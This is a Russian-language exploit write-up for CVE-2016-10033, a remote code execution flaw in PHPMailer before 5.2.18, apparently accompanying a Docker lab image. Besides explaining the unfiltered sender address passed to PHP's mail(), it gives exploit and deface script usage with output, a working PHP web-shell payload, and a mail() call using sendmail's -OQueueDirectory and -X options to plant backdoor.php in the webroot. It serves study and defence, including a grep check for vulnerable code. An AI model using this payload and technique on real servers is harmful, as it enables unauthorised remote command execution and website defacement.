
PHPMailer < 5.2.18 Remote Code Execution
PHPMailer — самый популярный в мире транспортный класс, по оценкам, 9 миллионов пользователей по всему миру. Загрузки продолжаются с высоким темпом ежедневно. Используется многими проектами с открытым исходным кодом: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! и многие другие.
PHPMailer до версии 5.2.18 содержит уязвимость, которая может привести к удаленному выполнению кода (RCE). Функция mailSend в транспорте isMail в PHPMailer, когда свойство Sender не установлено, может позволить удаленным злоумышленникам передавать дополнительные параметры команде mail и, следовательно, выполнять произвольный код через " (обратный слеш и двойная кавычка) в специально сформированном адресе From.
Чтобы настроить уязвимую среду для вашего теста, вам понадобится установленный Docker, и просто выполните следующую команду:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
И это запустит уязвимое веб-приложение на вашем хосте на порту 8080

Чтобы эксплуатировать эту цель, просто выполните:
./exploit host:port
Если вы используете этот уязвимый образ, вы можете просто выполнить:
./exploit localhost:8080
После эксплуатации файл с именем backdoor.php будет сохранен в корневой папке веб-каталога. И эксплойт предоставит вам оболочку, где вы можете отправлять команды бэкдору:
./exploit.sh localhost:8080
[+] Эксплойт CVE-2016-10033 от opsxcq
[+] Эксплуатация localhost:8080
[+] Цель эксплуатирована, доступ к оболочке по адресу http://localhost:8080/backdoor.php
[+] Проверка, был ли создан бэкдор в целевой системе
[+] Backdoor.php найден в удаленной системе
[+] Выполнение whoami
www-data
RemoteShell>
И всё, у вас есть оболочка. Есть ещё один эксплойт, который иллюстрирует другой вариант использования.
./deface.sh localhost:8080
[+] Эксплойт CVE-2016-10033 от opsxcq
[+] Эксплуатация localhost:8080
[+] Цель эксплуатирована, доступ к оболочке по адресу http://localhost:8080/backdoor.php
[+] Проверка, был ли создан бэкдор в целевой системе
[+] Backdoor.php найден в удаленной системе
[+] Размещение вашего сообщения на сервере
[+] Работа завершена, выход
И если вы снова посетите страницу, вы увидите это:

До этого коммита в class.phpmailer.php в определенном сценарии нет фильтрации специальных символов в адресе электронной почты отправителя. Эта ошибка может привести к удаленному выполнению кода через функцию mail здесь.
Анализируя код, в функции mailSend() нет фильтрации
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender напрямую добавляется к переменной $params, которая была отфильтрована в функции validateAddress(), но поскольку она использует спецификацию RFC 3696, она допускает определенные символы, которые могут нарушить работу. В данном случае кавычки:
В дополнение к использованию кавычек с помощью обратного слеша, обычные двойные кавычки могут использоваться для обрамления строк. Например
"Abc@def"@example.com
"Fred Bloggs"@example.com
являются альтернативными формами первых двух примеров выше. Эти формы в кавычках редко рекомендуются и необычны на практике, но, как обсуждалось выше, должны поддерживаться приложениями, обрабатывающими адреса электронной почты. В частности, формы в кавычках часто появляются в контексте адресов, связанных с переходами из других систем и контекстов; эти переходные требования все еще возникают, и, поскольку система, принимающая предоставленный пользователем адрес электронной почты, не может "знать", связан ли этот адрес с унаследованной системой, эти формы адресов должны быть приняты и переданы в среду электронной почты.
Вы можете прочитать полный RFC здесь, если хотите. Но также, если версия PHP ниже 5.2.0 и не установлен PCRE, переменная $patternselect в validateAddress() будет установлена в noregex. Это приведет к тому, что входные данные смогут избежать любой проверки регулярных выражений. Они пройдут только небольшую верификацию:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Затем поток кода переходит к функции mailPassthru(), которая, если выполняется в safe_mode, не будет уязвима для этой ошибки, как указано в следующем коде
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Но если он не работает в safe_mode, то наш специальный параметр будет передан в mail(), и, если нам повезет, он получит наш файл, содержащий все, что мы хотим, и запишет его туда, куда мы выберем.
Эксплуатация функции PHP mail() — не новость, но она все еще жива, и люди все еще используют ее. Чтобы объяснить, как это работает, давайте посмотрим, как определена функция mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Существует несколько методов эксплуатации для различных результатов, мы сосредоточимся на эксплуатации 5-го параметра для получения удаленного выполнения кода (RCE). Параметр $additional_parameters используется для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки электронной почты. Эта конфигурация определяется переменной sendmail_path.
Параметр additional_parameters может использоваться для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки почты, как определено параметром конфигурации sendmail_path. Например, это может использоваться для установки адреса отправителя конверта при использовании sendmail с опцией -f sendmail. Этот параметр экранируется внутренне с помощью escapeshellcmd() для предотвращения выполнения команд. escapeshellcmd() предотвращает выполнение команд, но позволяет добавлять дополнительные параметры. По соображениям безопасности рекомендуется очищать этот параметр, чтобы избежать добавления нежелательных параметров в команду оболочки.
Учитывая дополнительные параметры, которые могут быть внедрены, мы будем использовать -X для эксплуатации этой уязвимости. Подробнее о параметре -X
-X logfile
Регистрировать весь трафик внутрь и из почтовых программ в указанный файл журнала. Это следует использовать только в крайнем случае для отладки ошибок почтовой программы. Он будет очень быстро регистрировать много данных.
Есть также некоторые другие интересные параметры, о которых вам следует знать:
-Cfile
Использовать альтернативный файл конфигурации. Sendmail отказывается от любых повышенных привилегий (set-user-ID или set-group-ID), если указан альтернативный файл конфигурации.
-O option=value
Установить параметр option в указанное значение. Эта форма использует длинные имена.
И для опции -O наиболее интересным параметром является QueueDirectory, который выбирает каталог, в котором будут помещаться сообщения в очередь.
Если вы хотите прочитать полный список параметров и опций, просто выполните man sendmail или прочитайте онлайн здесь
Основываясь на этой информации и возможности контролировать хотя бы один из других параметров, мы можем эксплуатировать хост. Ниже приведены шаги для успешной эксплуатации:
$additional_parameters и другой параметр mail()webroot (например, /var/www/html для других систем, /www для этого примера)system(), с добавлением base64 и специальных символов | для упрощения парсинга.Помните, что опция -X запишет файл журнала, который будет содержать среди логов вашу PHP-нагрузку, в указанный вами каталог. Пример уязвимого PHP-кода:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Если вы выполните приведенный выше код, он создаст файл журнала в /www/backdoor.php, в этом суть данного эксплойта.
Ниже приведена нагрузка, использованная в этом примере
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Хотите простой способ одной командой попытаться обнаружить эту ошибку? Запомните эту волшебную команду grep!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Выполнение ее в этом репозитории даст результат
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Эта уязвимость была найдена Dawid Golunski.
Эта или предыдущая программа предназначена ТОЛЬКО для образовательных целей. Не используйте ее без разрешения. Применяется обычный отказ от ответственности, особенно тот факт, что я (opsxcq) не несу ответственности за любой ущерб, причиненный прямым или косвенным использованием информации или функциональности, предоставленной этими программами. Автор или любой интернет-провайдер не несет НИКАКОЙ ответственности за содержание или неправильное использование этих программ или любых их производных. Используя эти программы, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т.д.), вызванный использованием этих программ, не является ответственностью opsxcq.